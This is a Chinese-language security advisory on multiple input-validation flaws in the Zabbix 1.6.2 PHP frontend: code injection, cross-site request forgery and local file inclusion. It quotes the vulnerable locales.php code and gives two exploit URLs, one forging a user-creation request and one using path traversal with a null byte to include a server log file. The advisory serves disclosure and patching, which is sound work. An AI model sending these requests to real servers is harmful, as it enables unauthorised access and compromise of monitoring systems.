ZABBIX PHP前端多个输入验证漏洞


添加时间:
2009-03-22

系统编号:
WAVDB-01351
BUGTRAQ: 33965

影响版本:
zabbix 1.6.2

程序介绍:

zabbix是一个CS结构的分布式网络监控系统。

漏洞分析:

ZABBIX的PHP前端存在多个输入验证错误,远程攻击者可以通过提交恶意请求执行跨站请求伪造攻击、读取敏感信息或完全入侵有漏洞的系统。
 
1) include/validate.inc.php中没有正确的过滤对calc_exp2()函数所提交的extlang参数,这可能导致注入并执行任意 PHP代码。
 
2) 由于没有检查用户提交请求的有效性,远程攻击者可以通过提交HTTP执行非授权操作。 
 
3) locales.php没有正确的验证对srclang参数的输入便用于包含文件,远程攻击者可以通过目录遍历攻击和URL编码的空字节包含本地资源的任 意文件。以下是有漏洞的代码段:
 
  1. 'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'),  
  2. [...]  
  3. else if(isset($_REQUEST['next'])){  
  4. [...]  
  5. $fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php";  
  6.   if(file_exists($fileFrom)){  
  7.    include($fileFrom);  


漏洞利用:

/users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3〈=lang&theme=theme&autologout=0&url=url&refresh=0

 

 

/locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22


解决方案:
厂商补丁:
ZABBIX SIA
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.zabbix.org/

信息来源:
<*来源:Antonio Parata (s4tan@ush.it)
链接:http://secunia.com/advisories/34091/
http://marc.info/?l=bugtraq&m=123610102009920&w=2
*>